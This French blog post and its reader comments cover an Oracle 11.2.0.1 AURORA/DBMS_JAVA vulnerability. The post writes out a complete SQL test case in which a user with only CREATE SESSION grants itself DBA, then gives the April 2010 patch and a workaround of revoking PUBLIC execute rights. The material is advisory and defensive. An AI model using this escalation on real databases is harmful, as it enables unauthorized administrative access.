vendredi 7 mai 2010

Alerte de sécurité bd 11.2.0.1 - AURORA

Vous avez certainement entendu parler de l'alerte de sécurité au niveau des BD 11gR2 (11.2.0.1) levée par David Litchfield, un gourou dans le monde de la sécurité au niveau des bases de données.

Je ne détaillerai pas cette alerte ici car plusieurs sites l'ont déjà fait y compris celui de David Litchfield lui-même.

L'alerte concerne AURORA, l'implémentation de JAVA au niveau de la base de données.

Le lien ci-dessous donne les détails de l'article de David:
http://www.databasesecurity.com/HackingAurora.pdf

Cet article donne juste un «test case» que vous pouvez utiliser pour tester cette faille de sécurité.

Se connecter à la BD 11.2.0.1:
sqlplus / as sysdba

Créer un usager:
CREATE USER HETCHE
IDENTIFIED BY hetche
DEFAULT TABLESPACE USERS
TEMPORARY TABLESPACE TEMP
PROFILE DEFAULT
ACCOUNT UNLOCK;


Accorder seulement le privilège «create session» à l'usager nouvellement créé:
GRANT CREATE SESSION TO HETCHE;

Se connecter avec l'usager nouvellement créé:
sqlplus hetche/hetche

Exécuter la requête suivante (elle devrait donner une erreur, mais ne pas tenir compte de l'erreur):
SELECT
DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS',
'writeOutputToFile','TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO HETCHE''; END;', 'BEGIN NULL; END;') FROM DUAL;


Exécuter la requête suivante:
EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE);

Positionner le rôle DBA:
SET ROLE DBA;

Sortir de SQLPLUS
SQL> exit;

Se connecter à la BD par SQL ou un outil tel que TOAD et vérifier les droits de l'usager HETCHE.

Vous découvrez avec stupéfaction que l'usager HETCHE qui a été créé avec seulement un privilège «create session» a pu s'octroyer lui-même le privilège DBA.

Effrayant non?

Le problème a été résolu dans le CPU (Critical Patch Update) d'avril 2010 ou le PSU (Patch Set Update) 11.2.0.1.1 d'avril 2010.

Si pour une raison quelconque vous ne pouvez appliquer ni le CPU ni le PSU, il existe des solutions de contournement.
En gros, ça consiste à retirer le privilège EXECUTE à l'usager PUBLIC sur les packages:
DBMS_JAVA
DBMS_JAVA_TEST
DBMS_JVM_EXP_PERMS


Mais attention, il faut s'assurer qu'aucun de vos objets n'a de dépendances avec ces packages. Pour cela, interroger la vue DBA_DEPENDENCIES.
S'il existe des dépendences, s'assurer d'accorder les droits nécessaires aux objets dépendants avant de revoquer le droit à PUBLIC.

La sécurité, ça n'a pas de prix. À bon entendeur....

3 commentaires:

  1. Merci Hervé,
    Dans les livres de sécurité Oracle, je n'avais pas encore expérimenté cette faille de sécurité bien que tous les auteurs s'évertuaient à dire de revoker à Public le privilège EXECUTE à des packages usuels dont quelques uns sont: UTL_FILE, UTL_HTTP, UTL_TCP, UTL_SMTP, DBMS_OBFUSCATION_TOOLKIT, DBMS_CRYPTO

    RépondreSupprimer
  2. Comme je l'ai mentionné dans cet article, cette faille de sécurité s'applique qu'à la version 11.2.0.1.0.
    Je ne l'ai pas expérimenté mais il semble qu'elle s'applique aussi aux versions 10.2.0.4.x (à valider).

    Mais encore une fois, avant de revoker le privilège EXECUTE à un package, il faut s'assurer de gérer les dépendances qu'il y a entre ce package et les autres objets.

    Cette faille de sécurité plus particulièrement est réglé dans le CPU et PSU d'avril 2010.

    RépondreSupprimer
  3. Cette alerte de securite a ete corrigee depuis le premier Critical Patch Update (CPU) de la version 11.2.0.1 (celui d'avril 2010.
    Donc appliquer les cpu pour eviter ce probleme.

    RépondreSupprimer